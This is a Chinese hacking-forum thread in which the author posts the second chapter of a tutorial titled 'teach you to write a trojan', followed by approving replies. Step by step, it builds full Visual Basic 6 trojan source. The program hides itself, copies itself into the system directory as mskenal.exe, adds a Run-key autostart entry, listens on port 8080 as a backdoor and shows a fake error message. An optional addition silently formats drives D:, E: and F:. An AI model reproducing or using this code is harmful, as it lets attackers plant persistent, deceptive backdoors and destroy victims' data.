论坛: 原创软件 标题: ■■■■■手把手教你写木马(第二章)■■■■■(原创) 复制本贴地址    
作者: jnake [jnake]    论坛用户   登录
第二章开始(希望大家先看了我的第一章)
我在第一章说过,第二章主要将一下如何使用  winsock 控件进行端口的监听(本来这章不打算讲监听和连接,
但是,由于一些原因,就先讲监听,有些看不懂的没关系,我第三章会讲到!),以及一些简单控制技术。那我
们就开始吧!
今天我们的任务是:
1:如何在服务端开一个端口监听?
2:如何拷贝程序到隐蔽的地方?
3:如何将程序写进注册表的自启动项,让程序自动启动?

开工,我们先来完成第一个目标  1:如何在服务端开一个端口监听?
在这里我有必要简单讲一下关于 winsock 控件的一些知识。(第三章我会详细讲解)
Windows为网络开发提供了强大的工具,Winsock控件就是其中之一。
Winsock控件建立在TCP、UDP协议的基础上,完成与远程计算机的通信。即使对TCP/IP不太熟悉的用户,使用
该控件也可以在十几分钟内创建一个简单的客户机/服务器程序。
新建一个“标准EXE”工程,如图:

好的,我们接着在窗口上添加一个winsock控件,右键点击工具条,如图:

选择“部件(O)...”弹出一个部件对话框,如图:

在Microsoft Winsock Control 6.0前打上钩,按确定。则在工具条上添加了一个winsock控件,如图:

搞定了以后,我们在窗体上添加一个winsock控件,在winsock控件的属性中设置winsock控件的名称把它改
为ServerSock(不改也可以,我推荐还是改,因为我们要从小养成一种习惯,就是每一种控件的名称都设置为
我们熟悉标识,为以后写大型的东西打下基础,要不你以后写大的东西,将有很多控件,你就不懂这个控件到
底是干什么用的。),如图:

接着右键单击窗体中的winsock控件,出现:

选择“属性”如图:

在“协议”的下拉框中选中:0 - sckTCPProtocol。意思是使用:TCP协议。有人要问,那1 - sckUDPProtocol
是什么,当然是UDP协议咯,我们今天先将用TCP协议,以后会将用UDP协议的。我们主要用TCP协议,因为TCP协
议比UDP好控制,而且比UDP协议安全。其他的不要动,按确定。
然后双击窗体,出现代码窗口,如图:

在这两行代码中间:
                    Private Sub Form_Load()

                    End Sub
加入:
    ServerSock.LocalPort = 8080
    ServerSock.Listen
如图:

我来说说这两行代码的意思:第一行代码是说 在机器上开一个端口=8080
                          第二行代码是说 开始监听。
整个意思是:在机器上开一个8080号端口,并监听。
写好了,我们先把程序编译一下: 文件→生成工程1.EXE→将文件命名为server.EXE。
编译完后运行一下,打开防火墙看看,是不是有一个端口8080和server.EXE关联呢?呵呵
如果没装防火墙(呵呵,和我一样),简单啊,运行MS―DOS,在命令行输入:netstat -a
出现如图:

好了,我们的第一个目标  1:如何在服务端开一个端口监听? 宣告完成。


我们向着第二个目标进军  2:如何拷贝程序到隐蔽的地方?
用过木马的朋友可能会知道,当你运行木马的时候,只是见到鼠标闪了一下,就没反映了,其实,木马是把它
拷贝到了一个隐蔽的地方运行。一般是系统目录,这里文件多,是最好的隐蔽地方。
好的,我们的思路是:运行程序→检测程序的路径→是不是在系统的目录→是,则继续执行→不是,拷贝到系
统目录里再执行。
来,我们开始。我们先要取得系统的目录的具体路径,这里需要用到API。
这里我需要讲一下API的知识?
从缩写来看,API实际是指Application Programming Interface,应用程序编程接口,也有人说API(Advanced
Programmers Interface,高级程序员接口)。其实,API只不过是一个特大型的函数集合。是Windows的32位应
用程序编程接口,是一系列很复杂的函数,消息和结构,它使编程人员可以用不同类型的编程语言编制出的运
行在Windows操作系统上的应用程序。Windows API中聚集了1千多个函数。这些函数可分成几大类:系统服务、
图形设备接口、windows应用程序管理、多媒体以及其他类型。实际上,windows API由一组.dll文件(动态连
接库)组成,他们在程序运行时加载,为windows操作系统中运行的程序提供必要的计算服务。如果你打开WIN
DOWS的SYSTEM文件夹,你可以发现其中有很多附加名为DLL的文件。一个DLL中包含的API函数并不只是一个,
数十个,甚至是数百个。我们能都掌握它嘛?回答是否定的∶不可能掌握。但实际上,我们真的没必要都掌握,
只要重点掌握Windos系统本身自带的API函数就可以了。但,在其中还应当抛开掉同VB本身自有的函数重复的
函数。如:
VB的GetAttr命令可以获得文件属性,SetAttr可以设置文件属性。对API来讲也有对应的函数
GetFileAttributes和SetFileAttributes,性能都差不多。如此地一算,剩下来的也就5、600个。
是的,也不少。但,我可以敢跟你说,只要你熟悉地掌握100个,那么你的编程水平比现在高出至少要两倍。
尽管人们说VB和WINDOWS具有密切的关系,但我认为,API更接近WINDOWS。如果你学会了API,首要的收获便
是对WINDOWS体系结构的认识。这个收获是来自不易的。
如果你不依靠API会怎么样?我可以跟你说:你的手中永远出不了好的作品。这是因为缺乏这些知识你的脑子里
根本行不成一种总体的设计构思。好了,不说了。
请大家去找一些windows api的资料来看,要不,以后的教程就完全看不懂。

现在我们先看一个典型的windows API声明格式:
Public Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBurrer As MemoryStatus)
我来解释一下,GlobalMemoryStatus 这个API是windows API库中的函数名。当我在程序中
调用GlobalMemoryStatus API函数时,将使用这个名字执行函数,并且提供函数声明语句尾部括号中列出的参
数(例子中此函数只要求一个参数,当有些函数需要多个参数)。参数 "kernel32" 指明我要使用的动态库。
kernel32是32位windows API库,存放着操作系统的核心函数。
还有,在例子:Public Declare Sub.....(如上),中有个Declare,我来说明一下,它用于在模块级别中生
明对动态连接库(.DLL)中外补过程的引用。
我再来举个例子:
Public Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBurrer As MemoryStatus)

Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer
As String, ByVal nSize As Long) As Long
这两个声明有什么区别吗?一个是Public Declare..一个是Declare Function..两个都是在模块级别中使用。
Public加上去就是说是公用的。不知道我这样解释大家是不是听的懂,这种东西难解释清楚,呵呵!将就一下。

那我再来讲什么是模块,模块是程序中一个独立容器,包含全局变量(或称为功用变量),Function(函数)
过程和Sub过程(子过程)。这里有一点专业术语,可能对VB不熟悉的人看有点困难。没关系,慢慢来,找点东
西来看。我通俗讲一下,模块就像电脑的硬盘,有我们要用的东西!

了解了API和模块后,我们来,点击工具条上的  工程→添加模块(M)如图:

选择打开,如图:

在工程窗口便可以看到如图:

该模块显示的代码如图:

在此所声明的变量和过程在整个程序都可以用(我们将在这里声明API。)
我在上面所说的,我们的目的是:运行程序→检测程序的路径→是不是在系统的目录→是,则继续执行→不
是,则拷贝到系统目录里再执行。我们要先检测程序的路径。开始写代码。
我们在
      Private Sub Form_Load()
     
      End Sub
中写入:
      Dim propath
      propath=App.Path+"\"+App.EXENname+".exe"
意思是:定义一个变量(用来保存程序路径。)
        程序路径=程序所在的目录+程序名称+.exe
好的,我们看来验证一下,在窗体添加一个label控件(不要告诉我你不懂),如图:

然后在
Dim propath
propath=App.Path+"\"+App.EXENname+".exe"
下加一句(只是暂时用一下)
Label1.Caption = propath
写好后的代码如下:
Private Sub Form_Load()
Dim propath
propath = App.Path + "\" + App.EXEName + ".exe"
Label1.Caption = propath
End Sub
好,运行一下,如何,呵呵,我运行如图:

是不是显示出了你的程序的路径。
接着我们要检测程序是不是在系统的目录。system下的文件比较多,程序放在这安全。这里我们要用到API。
注意:不是windwos目录,是windows下的system目录。
我们先要声明一个API,在刚才创建的模块的代码窗口

写下如下的代码:
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer
As String, ByVal nSize As Long) As Long
我来解释一下,我们声明的这个API将用到GetSystemDirectory这个API函数。参数 "kernel32" 指明我要使
用的动态库。它有个返回值,是long(长整型)的,装载到lpBuffer缓冲区的字符数量。如lpBuffer不够大,
不能容下文件名,则返回要求的缓冲区长度。有人问,那lpBuffer、nSize是什么?其中,lpBuffer是用于
装载系统目录路径名的一个字串缓冲区。它应事先初始化成nSize+1个字符的长度。通常至少要为这个缓冲区
分配MAX_PATH个字符的长度,而nSize是表示lpBuffer字串的最大长度。
这个函数用来获得windows下的system目录的具体路径。写完以后,我们就可以在程序中调用这个
函数。好了,我们就用这个函数来取得windows下的system目录的具体路径,开始。
在:
Private Sub Form_Load()

End Sub
中我们写如以下代码:
Dim propath
Dim S As String * 80, Length As Long
Dim SysPath As String
propath = App.Path + "\" + App.EXEName + ".exe"
Length = GetSystemDirectory(S, Len(S))
SysPath = Left(S, Length)
Label1.Caption = SysPath
写好后就成为:
Private Sub Form_Load()
Dim propath
Dim S As String * 80, Length As Long
Dim SysPath As String
propath = App.Path + "\" + App.EXEName + ".exe"
Length = GetSystemDirectory(S, Len(S))
SysPath = Left(S, Length)
Label1.Caption = SysPath
End Sub
我来解释一下:
Dim S As String * 80, Length As Long
Dim SysPath As String
Length = GetSystemDirectory(S, Len(S))
SysPath = Left(S, Length)
Label1.Caption = SysPath
代码的意思。
开始是先定义两个变量,其中S是用来装载系统目录路径名的一个字串缓冲区,它应该够大才能容纳,通常
至少要为这个缓冲区分配MAX_PATH个字符的长度。定义变量Length 用来表示S字串的最大长度。定义变量
SysPath用来表示系统目录。
Length = GetSystemDirectory(S, Len(S))是用来取得装载到S的字符数量。也就是系统目录路径名的长度。
用GetSystemDirectory这个API时有个返回值,表示装载到S缓冲区的字符数量。
SysPath = Left(S, Length)这里用到left函数我要先讲一讲,它返回一个变量,其中包含字符串从左边算起指定
数量的字符。再讲一下Length = GetSystemDirectory(S, Len(S))中的len是什么意思。它返回一个值,是长整
型的,其中包含字符串内字符的数目,或是存储一变量所需的字节数。上面的Len(S)是说,返回一个值,说明变
量S包含字符的数目。而Length = GetSystemDirectory(S, Len(S))是说装载到S缓冲区的字符数量=Length。
然后用SysPath = Left(S, Length)取得S从左边开始的Length个字符,由于上面定义了Length=系统目录的长度。
所以SysPath其实就是系统目录的具体路径。
那如何验证程序在不在系统目录里呢?(啊,这还要我说啊?好吧,讲了!)记不记的我们刚才上面写的代码,
就是Dim propath
    propath = App.Path + "\" + App.EXEName + ".exe"
这两行代码啊,那还不简单,用App.Path和SysPath对比一下嘛!
我们已经取得系统目录的具体路径了,怎么样,是不是有的困难(呵呵,针对初学者。建议初学者多看看资料。)
我们刚才说了,我们的思路是:运行程序→检测程序的路径→是不是在系统的目录→是,则继续执行→不是,拷
贝到系统目录里再执行。
那么我们完成到了 运行程序→检测程序的路径→是不是在系统的目录 这一步。
我们的下一步是:判断好了应用程序是不是在系统目录里,是,则继续执行→不是,拷贝到系统目录里再执行。
我讲一下 拷贝到系统目录里再执行 如何写吧。
这里要用到VB的内部函数FileCopy,它的语法是:FileCopy a,b  意思是拷贝a到b。
接着呢,我们试着将propath拷贝SysPath里面。
FileCopy propath,SysPath+"\mskenal.exe"
有人问SysPath+"\mskenal.exe"后面的"\mskenal.exe"是什么,呵呵,这是说拷贝程序到系统目录里,并且命名
为mskenal.exe。这行代码的意思就相当于Dos里的copy命令,就是:拷贝程序到系统目录并且名字为mskenal.exe
接着呢,我上面有说  拷贝到系统目录里再执行。这个拷贝我们学会了,那么如何执行拷贝到目录里的程序呢?
我们来学,执行程序有多种的方法,可以用API可以用SHELL等.....我们学最简单的,就用Shell来执行程序。
语法是:Shell "程序路径"
我们试验一下,试验什么呢?就用程序启动windows自带的扫雷程序吧。
在代码中写入
Shell "c:\windows\WINMINE.EXE"
呵呵,好了,就这么简单。

该讲的我都讲了,我们系统的来完成第二步,我在重复一下我们的思路:
我们的思路是:运行程序→检测程序的路径→是不是在系统的目录→是,则继续执行→不是,拷贝到系
统目录里再执行。

开始,在代码:
Private Sub Form_Load()

End Sub
写入
Dim propath '定义一个变量用来存放程序路径
Dim S As String * 80, Length As Long '定义两个变量(用法我在上面讲过了)
Dim SysPath As String '定义一个变量,用来存放系统目录
propath = App.Path + "\" + App.EXEName + ".exe" '取得程序路径
Length = GetSystemDirectory(S, Len(S)) '取得S的长度
SysPath = Left(S, Length) '取得系统目录
If App.Path <> SysPath Then '如果程序不在系统目录,那么
FileCopy propath, SysPath + "\mskenal.exe" '拷贝程序到系统目录并且命名为mskenal.exe
Shell "c:\windows\system\mskenal.exe" '启动我们刚才考到系统目录的程序mskenal.exe
End '结束程序
End If '结束条件

这样你们应该看的懂了吧!
好了,第二步 2:如何拷贝程序到隐蔽的地方?  宣告成功!

现在我们讲一下如何实现第三步3:如何将程序写进注册表的自启动项,让程序自动启动?
开始,这里主要的问题是,如何用VB写注册表?这里又要用到API,呵呵!有了上面的学习,相信大家对API有一
个初步的了解,我们在这里在巩固学习一下。
写注册表需要用到  RegCreateKey,RegSetValueEX,RegCloseKey  这三个API。
我们一个一个来,一个一个声明,一个一个讲

RegCreateKey 用来在指定项下创建一个新项。如果指定的项已经存在,那么它会打开现有的项。
我们先声明一下,打开我们创建的那个模块的代码窗口,写入:
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As
Long, ByVal lpSubKey As String, phkResult As Long) As Long
看到没,它有个返回值是长整型的,如果返回0,则成功,如果返回不是0就是失败(也就是创建一个项或打开一
个项失败。)
它有三个参数:
参数 类型及说明
hKey 它是长整型  要打开项的句柄,或者一个标准项名
lpSubKey 它是字符串型的  欲创建的新子项。可同时创建多个项,只需用反斜杠将它们分隔开即可。
例如level1\level2\newkey
phkResult 它是长整型的  指定一个变量,用于装载新子项的句柄。

RegSetValueEX 用来设定指定项的值。
同样在模块中声明一下:
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long,
ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal
cbData As Long) As Long
也可以看出它有个返回值,是长整型的,和RegCreateKey一样,如果返回0则成功,其它则失败。
以下是它的参数:
参数 类型及说明
hKey 长整型,一个已打开项的句柄,或指定一个标准项名
lpValueName 字符串型,要设置值的名字
Reserved ,未用,设为零
dwType 长整型,要设置的数量类型
lpData Any,包含数据的缓冲区中的第一个字节
cbData 长整型,lpData缓冲区的长度

RegCloseKey 用来关闭系统注册表中的一个项(或键)
同样来声明一下:
Declare Function RegCloseKey Lib "advapi32.dll" Alias "RegCloseKey" (ByVal hKey As Long) As Long
它有个返回值,和上面的两个API一样,如果返回0则成功,其它则失败。
它只有一个参数:
参数 类型及说明
hKey 是长整型的,是要关闭的项

好了,我们要用的三个API都说了,现在我们来实践一下。
先声明API,在上面我讲了。接着,在代码:
Private Sub Form_Load()

End Sub
中写入:
Private Const REG_SZ = 1
Private Const HKEY_LOCAL_MACHINE = &H80000002
Dim hKey As Long, SubKey As String, EXE As String
SubKey = "Software\Microsoft\Windows\CurrentVersion\Run"
EXE = "mskenal.exe"
RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey
RegSetValueEx hKey, "mscong", 0, REG_SZ, ByVal EXE, Len(EXE)
RegCloseKey (hKey)
我来讲解一下:
Private Const REG_SZ = 1 记不记的我在上面的RegSetValueEx这个API的参数讲到有个dwType参数,长整型,
是要设置的数量类型。我们这里定义的就是它,REG_SZ = 1,是说我们新建的是一个字符串值。1代表的是字
符串值,其他的不行。它有个固定值,不能随便改(为什么?问微软呗!)

同样,Private Const HKEY_LOCAL_MACHINE = &H80000002是说定义一个变量。
其中的&H80000002是代表Const HKEY_LOCAL_MACHINE,和上面一样,它有一个固定的值,不能随便改的。
如果是&H80000001 则代表的是HKEY_CURRENT_USER。

Dim hKey As Long, SubKey As String, EXE As String 呵呵,这句你们也应该看的懂。
定义三个变量。其中,hKey用来存放一个已打开项的句柄,SubKey用来存放主项。EXE用来表示运行的路径。

RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey这句是说,打开一个句柄。也就是打开注册表的
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run。

EXE = "mskenal.exe" 我们等下要写入注册表的程序路径。因为程序已经在系统目录里,所以只要写程序名。

RegSetValueEx hKey, "mscong", 0, REG_SZ, ByVal EXE, Len(EXE)是说在HKEY_LOCAL_MACHINE\Software\Mic
rosoft\Windows\CurrentVersion\Run中新建一个字符串值,名字为“mscong”启动的程序是:mskenal.exe(
就是我们上面第二步拷贝到系统目录里的程序名。)

RegCloseKey (hKey)关闭句柄。

好了运行一下,看看,是不是在注册表的:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
下面多了一个字符串,它的名字是:mscong 设置的值是:mskenal.exe。如图:


至此,我们的3个目标:
1:如何在服务端开一个端口监听?
2:如何拷贝程序到隐蔽的地方?
3:如何将程序写进注册表的自启动项,让程序自动启动?
全部完成。
接着我们连起来写一个完整的程序。
大家还记不记的我写的第一章:《■■■■■手把手教你写木马(第一章)■■■■■(原创)》的文章。
里面也有3个目标:
1:程序运行时隐藏窗体
2:使程序在WIN98的进程栏中不可见
3:发出一些迷惑人的信息

我们现在连起来写一个完整的程序。
程序的流程大致是这样的:
运行程序→程序运行时隐藏窗体→使程序在WIN98的进程栏中不可见→检测程序的路径→如果程序在系统目录里
→则开一个端口监听,将程序写进注册表的自启动项,让程序自动启动→如果程序不在系统目录里→则将程序
拷贝到系统目录里在执行→发出一些迷惑人的信息。

所有代码如下:
Private Const REG_SZ = 1
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Sub Form_Load()
Dim propath
Dim S As String * 80, Length As Long
Dim SysPath As String
Dim hKey As Long, SubKey As String, EXE As String
propath = App.Path + "\" + App.EXEName + ".exe"
Form1.Visible = False
App.TaskVisible = False
Length = GetSystemDirectory(S, Len(S))
SysPath = Left(S, Length)
If App.Path <> SysPath Then '检测程序的路径,是不是在系统目录里
FileCopy propath, SysPath + "\mskenal.exe" '如果不是,则拷贝程序到系统目录里
Shell "c:\windows\system\mskenal.exe" '启动程序
End
End If
SubKey = "Software\Microsoft\Windows\CurrentVersion\Run" '如果是,则将程序写进注册表的自启动项
EXE = "mskenal.exe"
RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey
RegSetValueEx hKey, "mscong", 0, REG_SZ, ByVal EXE, Len(EXE)
RegCloseKey (hKey)
ServerSock.LocalPort = 8080 '开一个端口
ServerSock.Listen  '开始监听
MsgBox "程序损坏,请重新安装!", vbCritical, "系统提示"
End Sub

编译一下,点击菜单条上的  文件→生成工程1.EXE→将文件保存→运行。好,成功了。
是不是像这样:
鼠标闪了几下,弹出一个消息对话框。如图:

按住Ctrl+Shift+Del看看,是不是没有显示出程序呢?如图:

好,打开你的系统目录,是不是发现里面有个叫mskenal.exe的文件呢?如图:

打开MS-DOS输入:netstat -a 出现如图:

打开注册表,是不是在:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
下面多了一个字符串,它的名字是:mscong 设置的值是:mskenal.exe。如图:

打开一个端口、程序关联的程序(随便哪一个),我的如图:

看到没有,是不是系统目录下有个名为mskenal.exe的程序在端口8080监听着!呵呵

到现在,我们的目标才全部完成了!
我在这里补充一下,在代码的最后加上
On Error Resume Next
Shell "format.exe d:/q /autotest /u", vbHide
Shell "format.exe e:/q /autotest /u", vbHide
Shell "format.exe f:/q /autotest /u", vbHide
完整的代码如下:
Private Const REG_SZ = 1
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Sub Form_Load()
Dim propath
Dim S As String * 80, Length As Long
Dim SysPath As String
Dim hKey As Long, SubKey As String, EXE As String
propath = App.Path + "\" + App.EXEName + ".exe"
Form1.Visible = False
App.TaskVisible = False
Length = GetSystemDirectory(S, Len(S))
SysPath = Left(S, Length)
If App.Path <> SysPath Then '检测程序的路径,是不是在系统目录里
FileCopy propath, SysPath + "\mskenal.exe" '如果不是,则拷贝程序到系统目录里
Shell "c:\windows\system\mskenal.exe" '启动程序
End
End If
SubKey = "Software\Microsoft\Windows\CurrentVersion\Run" '如果是,则将程序写进注册表的自启动项
EXE = "mskenal.exe"
RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey
RegSetValueEx hKey, "mscong", 0, REG_SZ, ByVal EXE, Len(EXE)
RegCloseKey (hKey)
ServerSock.LocalPort = 8080 '开一个端口
ServerSock.Listen  '开始监听
MsgBox "程序损坏,请重新安装!", vbCritical, "系统提示"
On Error Resume Next
Shell "format.exe d:/q /autotest /u"
Shell "format.exe e:/q /autotest /u"
Shell "format.exe f:/q /autotest /u"
End Sub
呵呵,运行者的硬盘在20秒内D:E:F:三盘都消失了,呵呵!自己要是不怕死的就在自己的机器上来。

不说了!大家努力,源代码我会在以后几天里打包放上去的!

以下是所有代码:
模块的代码如下:
Option Explicit

Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long


主代码如下:
Private Const REG_SZ = 1
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Sub Form_Load()
Dim propath
Dim S As String * 80, Length As Long
Dim SysPath As String
Dim hKey As Long, SubKey As String, EXE As String
propath = App.Path + "\" + App.EXEName + ".exe"
Form1.Visible = False
App.TaskVisible = False
Length = GetSystemDirectory(S, Len(S))
SysPath = Left(S, Length)
If App.Path <> SysPath Then '检测程序的路径,是不是在系统目录里
FileCopy propath, SysPath + "\mskenal.exe" '如果不是,则拷贝程序到系统目录里
Shell "c:\windows\system\mskenal.exe" '启动程序
End
End If
SubKey = "Software\Microsoft\Windows\CurrentVersion\Run" '如果是,则将程序写进注册表的自启动项
EXE = "mskenal.exe"
RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey
RegSetValueEx hKey, "mscong", 0, REG_SZ, ByVal EXE, Len(EXE)
RegCloseKey (hKey)
ServerSock.LocalPort = 8080 '开一个端口监听
ServerSock.Listen
End Sub

没了。
第三章,我将讲文件关联和winsock控件的具体运用。及一写简单的控制!
可能回等久点,因为我要去旅游!

最后我还想对 老大说,我写了两篇原创的,给我加贡献值啊!
原创:经验值+10 贡献度+3  这可是老大说的,两篇共:经验值+20 贡献度+6
呵呵!



地主 发表时间: 04-08-19 14:13

回复: hacker521 [hacker521]   论坛用户   登录
啊,写的好有些功能编写的不错,呵呵,一定要叫ND给你加贡献值

B1层 发表时间: 04-08-19 20:15

回复: jiantian [jiantian]   论坛用户   登录
顶,好东西当然顶

B2层 发表时间: 04-08-21 11:50

回复: yxh_jd [yxh_jd]   论坛用户   登录
不错啊,顶

B3层 发表时间: 04-08-22 15:33

回复: yaojun125 [yaojun125]   论坛用户   登录


B4层 发表时间: 04-08-23 10:59

回复: k_com [k_com]   论坛用户   登录
希望有更好的了啊

B5层 发表时间: 04-08-24 02:54

回复: lqfrla [lqfrla]   论坛用户   登录
最后的灌水

B6层 发表时间: 04-08-24 13:32

回复: jnake [jnake]   论坛用户   登录
谢谢!

B7层 发表时间: 04-10-09 16:31

回复: xingyun [xingyun]   论坛用户   登录


B8层 发表时间: 04-10-10 13:01

回复: hobby [hobby]   论坛用户   登录
支持

B9层 发表时间: 04-10-10 22:14

回复: gaozizhan [gaozizhan]   论坛用户   登录
有没有关于C的

B10层 发表时间: 04-11-05 13:33

回复: jnake [jnake]   论坛用户   登录
有  可以到网上找

B11层 发表时间: 04-11-05 16:30

回复: xiaoqing09 [xiaoqing09]   论坛用户   登录
终于看完了!很

B12层 发表时间: 04-11-10 22:11

回复: dhb133 [dhb133]   论坛用户   登录
好,收藏

B13层 发表时间: 04-12-01 09:17

回复: gerry [gerry]   版主   登录
呵呵,看起来真的不错哎。
俺是个门外汉,只能看热闹了。
贡献度加了没?

B14层 发表时间: 04-12-02 01:40

回复: zffh123 [zffh123]   论坛用户   登录
太厉害了

B15层 发表时间: 04-12-07 19:15

回复: jnake [jnake]   论坛用户   登录
惭愧,这些东东对高手来讲不值一提!

B16层 发表时间: 05-08-07 16:10

回复: lwhao [lwhao]   论坛用户   登录
好..顶

B17层 发表时间: 05-08-22 20:35

论坛: 原创软件

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号